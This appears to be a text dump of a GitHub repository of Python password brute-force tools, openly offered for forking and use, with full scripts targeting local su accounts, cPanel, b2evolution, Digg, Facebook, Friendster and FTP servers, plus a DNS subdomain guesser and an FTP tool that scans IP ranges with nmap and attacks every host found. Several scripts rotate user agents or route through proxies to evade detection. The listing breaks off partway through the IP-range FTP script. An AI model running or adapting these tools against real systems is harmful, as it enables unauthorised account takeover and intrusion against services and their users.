Full Code of rischanlab/bruteforce_py for AI

master 0dd738e64654 cached
47 files
110.2 KB
35.2k tokens
164 symbols
1 requests
Download .txt
Repository: rischanlab/bruteforce_py
Branch: master
Commit: 0dd738e64654
Files: 47
Total size: 110.2 KB

Directory structure:
gitextract_1xa3ojw4/

├── .gitattributes
├── .gitignore
├── README.md
├── accbrute.py
├── b2evobf.py
├── cPanelbrute.py
├── diggbf.py
├── dnsbrute.py
├── facebookbruteforcer.py
├── friendsterbf.py
├── ftpbrute.py
├── ftpbrute_iprange.py
├── ftpbrute_random.py
├── ftpbrute_random1.0.py
├── gmailbrute.py
├── gmailpopbrute.py
├── imapbrute.py
├── imapbrute_iprange.py
├── imapbrute_random.py
├── linksysbrute.py
├── locbrute.py
├── mysqlbrute.py
├── mysqlbrute_iprange.py
├── mysqlbrute_random.py
├── nntpbrute.py
├── nntpbrute_iprange.py
├── nntpbrute_random.py
├── popbrute.py
├── popbrute_iprange.py
├── popbrute_random.py
├── rootbrute.py
├── serenbf.py
├── smtpbrute.py
├── smtpbrute_iprange.py
├── smtpbrute_random.py
├── snmp_brute.py
├── sshbrute.py
├── sshbrute_fork.py
├── sshbrute_iprange.py
├── sshbrute_random.py
├── telnetbrute.py
├── telnetbrute_iprange.py
├── telnetbrute_random.py
├── webauthbrute.py
├── webauthbrute_random_usersupport.py
├── webminbrute.py
└── wordpressbf.py

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitattributes
================================================
# Auto detect text files and perform LF normalization
* text=auto

# Custom for Visual Studio
*.cs     diff=csharp
*.sln    merge=union
*.csproj merge=union
*.vbproj merge=union
*.fsproj merge=union
*.dbproj merge=union

# Standard to msysgit
*.doc	 diff=astextplain
*.DOC	 diff=astextplain
*.docx diff=astextplain
*.DOCX diff=astextplain
*.dot  diff=astextplain
*.DOT  diff=astextplain
*.pdf  diff=astextplain
*.PDF	 diff=astextplain
*.rtf	 diff=astextplain
*.RTF	 diff=astextplain


================================================
FILE: .gitignore
================================================
#################
## Eclipse
#################

*.pydevproject
.project
.metadata
bin/
tmp/
*.tmp
*.bak
*.swp
*~.nib
local.properties
.classpath
.settings/
.loadpath

# External tool builders
.externalToolBuilders/

# Locally stored "Eclipse launch configurations"
*.launch

# CDT-specific
.cproject

# PDT-specific
.buildpath


#################
## Visual Studio
#################

## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.

# User-specific files
*.suo
*.user
*.sln.docstates

# Build results
[Dd]ebug/
[Rr]elease/
*_i.c
*_p.c
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.vspscc
.builds
*.dotCover

## TODO: If you have NuGet Package Restore enabled, uncomment this
#packages/

# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf

# Visual Studio profiler
*.psess
*.vsp

# ReSharper is a .NET coding add-in
_ReSharper*

# Installshield output folder
[Ee]xpress

# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html

# Click-Once directory
publish

# Others
[Bb]in
[Oo]bj
sql
TestResults
*.Cache
ClientBin
stylecop.*
~$*
*.dbmdl
Generated_Code #added for RIA/Silverlight projects

# Backup & report files from converting an old project file to a newer
# Visual Studio version. Backup files are not needed, because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML



############
## Windows
############

# Windows image file caches
Thumbs.db

# Folder config file
Desktop.ini


#############
## Python
#############

*.py[co]

# Packages
*.egg
*.egg-info
dist
build
eggs
parts
bin
var
sdist
develop-eggs
.installed.cfg

# Installer logs
pip-log.txt

# Unit test / coverage reports
.coverage
.tox

#Translations
*.mo

#Mr Developer
.mr.developer.cfg

# Mac crap
.DS_Store


================================================
FILE: README.md
================================================
bruteforce_py
=============

All codes in this repo are not mine, last time I used this code for playing <br/>
all bruteforce with python, ssh bf, wordpress bf, cpanel bf, mysql bf, etc</br>

You can fork, download, and using this code. 

Thank you, :) 


================================================
FILE: accbrute.py
================================================
#!/usr/bin/python
#Local Account BruteForcer

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import sys, pwd
try:
	import pexpect
except(ImportError):
	print "\nYou need the pexpect module."
	print "http://www.noah.org/wiki/Pexpect\n"
	sys.exit(1)

#Change this if needed.
LOGIN_ERROR = 'su: incorrect password'

def brute(word):
	print "Trying:",word
	child = pexpect.spawn ('su '+user)
	child.expect ('Password: ')
	child.sendline (word)
	i = child.expect([LOGIN_ERROR, pexpect.TIMEOUT], timeout=5)
	if i  == 1:
		print "\n\t[!] Password:",word
		child.sendline ('whoami')
		print child.before
		child.interact()
	#if i = 0:
		#print "Incorrect Password"
	
if len(sys.argv) != 3:
	print "\nUsage : ./accbrute.py <user> <wordlist>"
	print "Eg: ./accbrute.py d3hydr8 words.txt\n"
	sys.exit(1)

user = sys.argv[1]
users = []
for x in pwd.getpwall():
	users.append(x[0])
if user not in users:
	print "\n[-] User not found\n"
	sys.exit(1)
	
print "\n[+] Found:",len(users),"users"
try:
	words = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "\n[-] Error: Check your wordlist path\n"
  	sys.exit(1)
	
print "\n[+] Loaded:",len(words),"words"
print "[+] User:",user
print "[+] BruteForcing...\n"
for word in words:
	brute(word.replace("\n",""))


================================================
FILE: b2evobf.py
================================================
#!/usr/bin/python 
#b2evolution Brute Force (login.php) 
 
#Change response on line 90 if needed. (language) 
 
#Dork: inurl:"/htsrv/login.php" intitle:b2evo 
 
#http://www.darkc0de.com 
#d3hydr8[at]gmail[dot]com 
 
import urllib2, sys, re, urllib, httplib, socket 
 
print "\n   d3hydr8[at]gmail[dot]com b2evoBF v1.0" 
print "--------------------------------------------" 
 
if len(sys.argv) not in [4,5,6,7]: 
	print "Usage: ./b2evobf.py <site> <user> <wordlist> <options>\n" 
	print "\t   -p/-proxy <host:port> : Add proxy support" 
	print "\t   -v/-verbose : Verbose Mode\n" 
	sys.exit(1) 
 
for arg in sys.argv[1:]: 
	if arg.lower() == "-p" or arg.lower() == "-proxy": 
		proxy = sys.argv[int(sys.argv[1:].index(arg))+2] 
	if arg.lower() == "-v" or arg.lower() == "-verbose": 
		verbose = 1 
 
try: 
	if proxy: 
		print "\n[+] Testing Proxy..." 
		h2 = httplib.HTTPConnection(proxy) 
		h2.connect() 
		print "[+] Proxy:",proxy 
except(socket.timeout): 
	print "\n[-] Proxy Timed Out" 
	proxy = 0 
	pass 
except(NameError): 
	print "\n[-] Proxy Not Given" 
	proxy = 0 
	pass 
except: 
	print "\n[-] Proxy Failed" 
	proxy = 0 
	pass 
 
try: 
	if verbose == 1: 
		print "[+] Verbose Mode On\n" 
except(NameError): 
	print "[-] Verbose Mode Off\n" 
	verbose = 0 
	pass 
 
if sys.argv[1][:7] != "http://": 
	host = "http://"+sys.argv[1] 
else: 
	host = sys.argv[1] 
 
print "[+] BruteForcing:",host 
print "[+] User:",sys.argv[2] 
 
try: 
  	words = open(sys.argv[3], "r").readlines() 
  	print "[+] Words Loaded:",len(words),"\n" 
except(IOError): 
  	print "[-] Error: Check your wordlist path\n" 
  	sys.exit(1) 
 
for word in words: 
	word = word.replace("\r","").replace("\n","") 
	login_form_seq = [ 
     	('log', sys.argv[2]), 
     	('pwd', word), 
	('submit', 'Log in!')] 
	login_form_data = urllib.urlencode(login_form_seq) 
	if proxy != 0: 
		proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'}) 
		opener = urllib2.build_opener(proxy_handler) 
	else: 
		opener = urllib2.build_opener() 
	try: 
		site = opener.open(host, login_form_data).read() 
	except(urllib2.URLError), msg: 
		print msg 
		site = "" 
		pass 
 
	#Change this response if different. (language) 
	if re.search("<strong>ERROR:</strong>",site) and verbose == 1: 
		print "[-] Login Failed:",word 
	else: 
		print "\n\t[!] Login Successfull:",sys.argv[2],word,"\n" 
		sys.exit(1) 
print "\n[-] Brute Complete\n" 

================================================
FILE: cPanelbrute.py
================================================
#!usr/bin/python
#cPanel BruteForcer
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, urllib2, httplib, base64
from copy import copy

def title():
	print "\n\t   d3hydr8[at]gmail[dot]com cPanel BruteForcer v1.0"
	print "\t-----------------------------------------------------\n"
	
def timer():
	now = time.localtime(time.time())
	return time.asctime(now)
	
if len(sys.argv) !=5:
	title()
	print "\nUsage: ./cPanelbrute.py <server> <port> <userlist> <wordlist>\n"
	print "ex: python cPanelbrute.py example.com 2082 users.txt wordlist.txt\n"
	sys.exit(1)

try:
  	users = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[4], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

wordlist = copy(words)

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])		
	else:
		print "\nReloading Wordlist - Changing User\n"
		reloader()
		value = random.sample(words,  1)
		users.remove(users[0])
		
	lock.release()
	if len(users) ==1:
		return users[0], value[0][:-1]
	else:
		return users[0][:-1], value[0][:-1] 

def getauth(url):
	
	req = urllib2.Request(url)
	try:
    		handle = urllib2.urlopen(req)
	except IOError, e:               
    		pass
	else:                               
    		print "This page isn't protected by basic authentication.\n"
    		sys.exit(1)
   
	if not hasattr(e, 'code') or e.code != 401:                 
    		print "\nThis page isn't protected by basic authentication."
    		print 'But we failed for another reason.\n'
    		sys.exit(1)

	authline = e.headers.get('www-authenticate', '')    
          
	if not authline:
    		print '\nA 401 error without a basic authentication response header - very weird.\n'
    		sys.exit(1)
	else:
		return authline
			
class Worker(threading.Thread):
	
	def run(self):
		username, password = getword()
		try:
			print "-"*12
			print "User:",username,"Password:",password
			auth_handler = urllib2.HTTPBasicAuthHandler()
			auth_handler.add_password("cPanel", server, base64encodestring(username)[:-1], base64encodestring(password)[:-1])
			opener = urllib2.build_opener(auth_handler)
			urllib2.install_opener(opener)
			urllib2.urlopen(server)
			print "\t\n\nUsername:",username,"Password:",password,"----- Login successful!!!\n\n"			
		except (urllib2.HTTPError, httplib.BadStatusLine), msg: 
			#print "An error occurred:", msg
			pass
		
title()
if sys.argv[1][-1] == "/":
	sys.argv[1] = sys.argv[1][:-1] 
server = sys.argv[1]+":2082"
if sys.argv[2].isdigit() == False:
	print "[-] Port must be a number\n"
	sys.exit(1)
else:
	port = sys.argv[2] 
if sys.argv[1][-1] == "/":
	sys.argv[1] = sys.argv[1][:-1] 
server = sys.argv[1]+":"+port

print "[+] Server:",server
print "[+] Port:",port 
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+]",getauth(server)
print "[+] Started",timer(),"\n"

for i in range(len(words)*len(users)):
	work = Worker()
	work.setDaemon(1)
	work.start()
	time.sleep(1)
print "\n[-] Done -",timer(),"\n"


================================================
FILE: diggbf.py
================================================
#!/usr/bin/python
#Digg.com Login BruteForcer

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com 

import urllib2, sys, re, urllib, httplib, socket

print "\n   d3hydr8[at]gmail[dot]com diggBF v1.0"
print "----------------------------------------------"

if len(sys.argv) not in [3,4,5,6]:
	print "Usage: ./diggbf.py <user> <wordlist> <options>\n"
	print "\t   -p/-proxy <host:port> : Add proxy support"
	print "\t   -v/-verbose : Verbose Mode\n"
	sys.exit(1)
	
for arg in sys.argv[1:]:
	if arg.lower() == "-p" or arg.lower() == "-proxy":
		proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
	if arg.lower() == "-v" or arg.lower() == "-verbose":
		verbose = 1
		
try:
	if proxy:
		print "\n[+] Testing Proxy..."
		h2 = httplib.HTTPConnection(proxy)
		h2.connect()
		print "[+] Proxy:",proxy
except(socket.timeout):
	print "\n[-] Proxy Timed Out"
	proxy = 0
	pass
except(NameError):
	print "\n[-] Proxy Not Given"
	proxy = 0
	pass
except:
	print "\n[-] Proxy Failed"
	proxy = 0
	pass
	
try:
	if verbose == 1:
		print "[+] Verbose Mode On\n"
except(NameError):
	print "[-] Verbose Mode Off\n"
	verbose = 0
	pass
	
host = "http://digg.com/login"
print "[+] BruteForcing:",host
print "[+] User:",sys.argv[1]

try:
  	words = open(sys.argv[2], "r").readlines()
  	print "[+] Words Loaded:",len(words),"\n"
except(IOError): 
  	print "[-] Error: Check your wordlist path\n"
  	sys.exit(1)
  
for word in words:
	word = word.replace("\r","").replace("\n","")
	login_form_seq = [
     	('username', sys.argv[1]),
     	('password', word),
     	('persistent', 'on'),
     	('submit', 'Login'),
	('processlogin', '1'),
	('returnpage', '/')]
	login_form_data = urllib.urlencode(login_form_seq)
	if proxy != 0:
		proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
		opener = urllib2.build_opener(host, proxy_handler)
	else:
		opener = urllib2.build_opener(host)
	try:
		site = opener.open(host, login_form_data).read()
	except(urllib2.URLError), msg:
		print msg
		site = ""
		pass

	if re.search("<h3>Whoops!</h3>",site) == None:
		print "\n\t[!] Login Successfull:",sys.argv[1],word,"\n"
		sys.exit(1)
	else:
		if verbose == 1:
			print "[-] Login Failed:",word
print "\n[-] Brute Complete\n"
	

================================================
FILE: dnsbrute.py
================================================
#!usr/bin/python
#DNS Brute Forcer, uses wordlist to find subdomains.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, socket
from copy import copy

if len(sys.argv) !=3:
	print "Usage: ./dnsbrute.py <server> <wordlist>"
	sys.exit(1)

try:
  	words = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com dnsBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[1]
print "[+] Words Loaded:",len(words),"\n"

wordlist = copy(words)

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		print "Reloading Wordlist\n"
		reloader()
		value = random.sample(words,  1)
		
	lock.release()
	return value[0]
		
class Worker(threading.Thread):
	
	def run(self):
		value = getword()
		try:
			print "-"*12
			digger = value[:-1]+"."+sys.argv[1]
			print "Trying:", digger
			result = socket.getaddrinfo(digger, None, 0, socket.SOCK_STREAM)
			print "\n\t\tWorked:",[x[4][0] for x in result][0]," Hostname:",digger
		except(socket.gaierror), msg: 
			pass
 
for i in range(len(words)):
	work = Worker()
	work.start()
	time.sleep(1)


================================================
FILE: facebookbruteforcer.py
================================================
#!/usr/bin/python
# This is facebook bruteforcer tools
# This was written for educational purpose and pentest only. Use it at your own risk.
# Author will not be responsible for any damage !!
# Toolname 	: facebookbruteforcer.py
# Programmer 	: Gunslinger_ <yudha.gunslinger@gmail.com>
# Version	: 1.0
# Date		: Tue Jul 27 13:24:44 WIT 2010
# Special thanks to mywisdom to inspire me ;)

import re
import os
import sys
import random
import warnings
import time
try:
	import mechanize
except ImportError:
	print "[*] Please install mechanize python module first"
	sys.exit(1)
except KeyboardInterrupt:
	print "\n[*] Exiting program...\n"
	sys.exit(1)
try:
	import cookielib
except ImportError:
	print "[*] Please install cookielib python module first"
	sys.exit(1)
except KeyboardInterrupt:
	print "\n[*] Exiting program...\n"
	sys.exit(1)

warnings.filterwarnings(action="ignore", message=".*gzip transfer encoding is experimental!", category=UserWarning)

# define variable
__programmer__ 	= "gunslinger_ <yudha.gunslinger@gmail.com>"
__version__    	= "1.0"
verbose 	= False
useproxy	= False
usepassproxy	= False
log		= 'fbbruteforcer.log'
file		= open(log, "a")
success		= 'http://www.facebook.com/?sk=messages&amp;ref=mb'
fblogin 	= 'https://login.facebook.com/login.php?login_attempt=1'
# some cheating ..
ouruseragent 	= ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
		'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
		'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
		'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
	        'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
	        'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
	        'Microsoft Internet Explorer/4.0b1 (Windows 95)',
	        'Opera/8.00 (Windows NT 5.1; U; en)',
		'amaya/9.51 libwww/5.4.0',
		'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
		'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
		'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
		'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
		'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
		'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
		]
facebook 	= '''
  __               _                 _
 / _|             | |               | |
| |_ __ _  ___ ___| |__   ___   ___ | | __
|  _/ _` |/ __/ _ \ '_ \ / _ \ / _ \| |/ /
| || (_| | (_|  __/ |_) | (_) | (_) |   <
|_| \__,_|\___\___|_.__/ \___/ \___/|_|\_\\
					bruteforcer...

Programmer : %s
Version	   : %s''' % (__programmer__, __version__)
option 	      	= '''
Usage  : %s [options]
Option : -u, --username  	<username>     	|   User for bruteforcing
         -w, --wordlist  	<filename>     	|   Wordlist used for bruteforcing
         -v, --verbose				|   Set %s will be verbose
         -p, --proxy	 	<host:port>	|   Set http proxy will be use
         -k, --usernameproxy	<username>	|   Set username at proxy will be use
         -i, --passproxy	<password>	|   Set password at proxy will be use
         -l, --log	 	<filename>	|   Specify output filename (default : fbbruteforcer.log)
         -h, --help      	<help>         	|   Print this help

Example : %s -u brad@hackme.com -w wordlist.txt"

P.S : add "&" to run in the background
''' % (sys.argv[0], sys.argv[0], sys.argv[0])
hme 		= '''
Usage : %s [option]
	-h or --help for get help
	''' % sys.argv[0]

def helpme():
	print facebook
	print option
	file.write(facebook)
	file.write(option)
	sys.exit(1)

def helpmee():
	print facebook
	print hme
	file.write(facebook)
	file.write(hme)
	sys.exit(1)

for arg in sys.argv:
	try:
		if arg.lower() == '-u' or arg.lower() == '--user':
	            	username = sys.argv[int(sys.argv[1:].index(arg))+2]
		elif arg.lower() == '-w' or arg.lower() == '--wordlist':
	            	wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
	        elif arg.lower() == '-l' or arg.lower() == '--log':
	            	log = sys.argv[int(sys.argv[1:].index(arg))+2]
	        elif arg.lower() == '-p' or arg.lower() == '--proxy':
	        	useproxy = True
	            	proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
	        elif arg.lower() == '-k' or arg.lower() == '--userproxy':
	        	usepassproxy = True
	            	usw = sys.argv[int(sys.argv[1:].index(arg))+2]
	        elif arg.lower() == '-i' or arg.lower() == '--passproxy':
	        	usepassproxy = True
	            	usp = sys.argv[int(sys.argv[1:].index(arg))+2]
		elif arg.lower() == '-v' or arg.lower() == '--verbose':
	            	verbose = True
	        elif arg.lower() == '-h' or arg.lower() == '--help':
	        	helpme()
		elif len(sys.argv) <= 1:
			helpmee()
	except IOError:
		helpme()
	except NameError:
		helpme()
	except IndexError:
		helpme()

def bruteforce(word):
	try:
		sys.stdout.write("\r[*] Trying %s...                    " % word)
		file.write("[*] Trying %s\n" % word)
		sys.stdout.flush()
		br.addheaders = [('User-agent', random.choice(ouruseragent))]
		opensite = br.open(fblogin)
		br.select_form(nr=0)
		br.form['email'] = username
		br.form['pass'] = word
		br.submit()
		response = br.response().read()
		if verbose:
			print response
		if success in response:
			print "\n\n[*] Logging in success..."
			print "[*] Username : %s" % (username)
			print "[*] Password : %s\n" % (word)
			file.write("\n[*] Logging in success...")
			file.write("\n[*] Username : %s" % (username))
			file.write("\n[*] Password : %s\n\n" % (word))
			sys.exit(1)
	except KeyboardInterrupt:
		print "\n[*] Exiting program...\n"
		sys.exit(1)
	except mechanize._mechanize.FormNotFoundError:
		print "\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n"
		file.write("\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n")
		sys.exit(1)
	except mechanize._form.ControlNotFoundError:
		print "\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n"
		file.write("\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n")
		sys.exit(1)

def releaser():
	global word
	for word in words:
		bruteforce(word.replace("\n",""))

def main():
	global br
	global words
	try:
		br = mechanize.Browser()
		cj = cookielib.LWPCookieJar()
		br.set_cookiejar(cj)
		br.set_handle_equiv(True)
		br.set_handle_gzip(True)
		br.set_handle_redirect(True)
		br.set_handle_referer(True)
		br.set_handle_robots(False)
		br.set_debug_http(False)
		br.set_debug_redirects(False)
		br.set_debug_redirects(False)
		br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
		if useproxy:
			br.set_proxies({"http": proxy})
		if usepassproxy:
			br.add_proxy_password(usw, usp)
		if verbose:
			br.set_debug_http(True)
			br.set_debug_redirects(True)
			br.set_debug_redirects(True)
	except KeyboardInterrupt:
		print "\n[*] Exiting program...\n"
		file.write("\n[*] Exiting program...\n")
		sys.exit(1)
	try:
		preventstrokes = open(wordlist, "r")
		words 	       = preventstrokes.readlines()
		count          = 0
		while count < len(words):
			words[count] = words[count].strip()
			count += 1
	except IOError:
	  	print "\n[*] Error: Check your wordlist path\n"
		file.write("\n[*] Error: Check your wordlist path\n")
	  	sys.exit(1)
	except NameError:
		helpme()
	except KeyboardInterrupt:
		print "\n[*] Exiting program...\n"
		file.write("\n[*] Exiting program...\n")
		sys.exit(1)
	try:
		print facebook
		print "\n[*] Starting attack at %s" % time.strftime("%X")
		print "[*] Account for bruteforcing %s" % (username)
		print "[*] Loaded :",len(words),"words"
		print "[*] Bruteforcing, please wait..."
		file.write(facebook)
		file.write("\n[*] Starting attack at %s" % time.strftime("%X"))
		file.write("\n[*] Account for bruteforcing %s" % (username))
		file.write("\n[*] Loaded : %d words" % int(len(words)))
		file.write("\n[*] Bruteforcing, please wait...\n")
	except KeyboardInterrupt:
		print "\n[*] Exiting program...\n"
		sys.exit(1)
	try:
		releaser()
		bruteforce(word)
	except NameError:
		helpme()

if __name__ == '__main__':
	main()

================================================
FILE: friendsterbf.py
================================================
#!/usr/bin/python
#Friendster.com Login BruteForcer

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com 

import urllib2, sys, re, urllib, httplib, socket

print "\n   d3hydr8[at]gmail[dot]com friendsterBF v1.1"
print "----------------------------------------------"

if len(sys.argv) not in [3,4,5,6]:
	print "Usage: ./friendsterbf.py <user> <wordlist> <options>\n"
	print "\t   -p/-proxy <host:port> : Add proxy support"
	print "\t   -v/-verbose : Verbose Mode\n"
	sys.exit(1)
	
for arg in sys.argv[1:]:
	if arg.lower() == "-p" or arg.lower() == "-proxy":
		proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
	if arg.lower() == "-v" or arg.lower() == "-verbose":
		verbose = 1
		
try:
	if proxy:
		print "\n[+] Testing Proxy..."
		h2 = httplib.HTTPConnection(proxy)
		h2.connect()
		print "[+] Proxy:",proxy
except(socket.timeout):
	print "\n[-] Proxy Timed Out"
	proxy = 0
	pass
except(NameError):
	print "\n[-] Proxy Not Given"
	proxy = 0
	pass
except:
	print "\n[-] Proxy Failed"
	proxy = 0
	pass
	
try:
	if verbose == 1:
		print "[+] Verbose Mode On\n"
except(NameError):
	print "[-] Verbose Mode Off\n"
	verbose = 0
	pass
	
host = "http://www.friendster.com/login.php"
print "[+] BruteForcing:",host
print "[+] Email:",sys.argv[1]

try:
  	words = open(sys.argv[2], "r").readlines()
  	print "[+] Words Loaded:",len(words),"\n"
except(IOError): 
  	print "[-] Error: Check your wordlist path\n"
  	sys.exit(1)
  
for word in words:
	word = word.replace("\r","").replace("\n","")
	login_form_seq = [
     	('_submitted', '1'),
     	('next', '/'),
     	('tzoffset', '240'),
     	('email', sys.argv[1]),
	('password', word),
	('remembermyemail', 'on'),
	('btnLogIn', 'Log In'),
	('btnSignUp','Sign Up')]
	login_form_data = urllib.urlencode(login_form_seq)
	if proxy != 0:
		proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
		opener = urllib2.build_opener(proxy_handler)
	else:
		opener = urllib2.build_opener()
	try:
		opener.addheaders = [('User-agent', 'Mozilla/5.0')]
		site = opener.open(host, login_form_data).read()
	except(urllib2.URLError), msg:
		print msg
		site = ""
		pass
	
	if re.search("The email address you entered is not a valid Friendster login.",site):
		print "\nThe email address you entered is not a valid Friendster login.\n"
		sys.exit(1)

	if re.search("The email address and password you entered did not match.",site) == None:
		print "\n\t[!] Login Successfull:",sys.argv[1],word,"\n"
		sys.exit(1)
	else:
		if verbose == 1:
			print "[-] Login Failed:",word
print "\n[-] Brute Complete\n"
	

================================================
FILE: ftpbrute.py
================================================
#!usr/bin/python
#Ftp Brute Forcer
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, ftplib
from ftplib import FTP
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./ftpbrute.py <server> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com ftpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"

try:
	f = FTP(sys.argv[1])
	print "[+] Response:",f.getwelcome()
except (ftplib.all_errors):
	pass

try:
	print "\n[+] Checking for anonymous login\n"
	ftp = FTP(sys.argv[1])
	ftp.login()
	ftp.retrlines('LIST')
	print "\t\nAnonymous login successful!!!\n"
	ftp.quit()
except (ftplib.all_errors): 
	print "\tAnonymous login unsuccessful\n"

wordlist = copy(words)

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])		
	else:
		print "\nReloading Wordlist - Changing User\n"
		reloader()
		value = random.sample(words,  1)
		users.remove(users[0])
		
	lock.release()
	if len(users) ==1:
		return value[0][:-1], users[0]
	else:
		return value[0][:-1], users[0][:-1]
		
class Worker(threading.Thread):
	
	def run(self):
		value, user = getword()
		try:
			print "-"*12
			print "User:",user,"Password:",value
			ftp = FTP(sys.argv[1])
			ftp.login(user, value)
			ftp.retrlines('LIST')
			print "\t\nLogin successful:",value, user
			ftp.quit()
			work.join()
			sys.exit(2)
		except (ftplib.all_errors), msg: 
			#print "An error occurred:", msg
			pass
 
for i in range(len(words)*len(users)):
	work = Worker()
	work.start()
	time.sleep(1)


================================================
FILE: ftpbrute_iprange.py
================================================
#!usr/bin/python
#Ftp Brute Forcer, searches ip_range for hosts using ftp.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, ftplib, re
from ftplib import FTP
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./ftpbrute.py <ip_range> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com ftpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)

wordlist = copy(words)

def scan():

	iprange = sys.argv[1]
	ip_list = []
	
	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 21 | grep open -B 3')[1]).readlines()
	
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:
	    		ip_list.append(ipaddr[0])
	return ip_list

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		reloader()
		value = random.sample(words,  1)
		
	lock.release()
	return value[0][:-1]
		
class Workhorse(threading.Thread):
	
	def run(self):
		value = getword()
		try:
			print "-"*12
			print "User:",user[:-1],"Password:",value
			ftp = FTP(ip)
			ftp.login(user[:-1], value)
			ftp.retrlines('LIST')
			print "\t\nLogin successful:",user, value
			ftp.quit()
			work.join()
			sys.exit(2)
		except (ftplib.all_errors), msg: 
			#print "An error occurred:", msg
			pass
 
ip_list = scan()
print "[+] Hosts Loaded:",len(ip_list),"\n"
for ip in ip_list:
	print "\n\tAttempting BruteForce:",ip,"\n"
	try:
		f = FTP(ip)
		print "[+] Response:",f.getwelcome()
	except (ftplib.all_errors):
		pass
	try:
		print "\n[+] Checking for anonymous login\n"
		ftp = FTP(ip)
		ftp.login()
		ftp.retrlines('LIST')
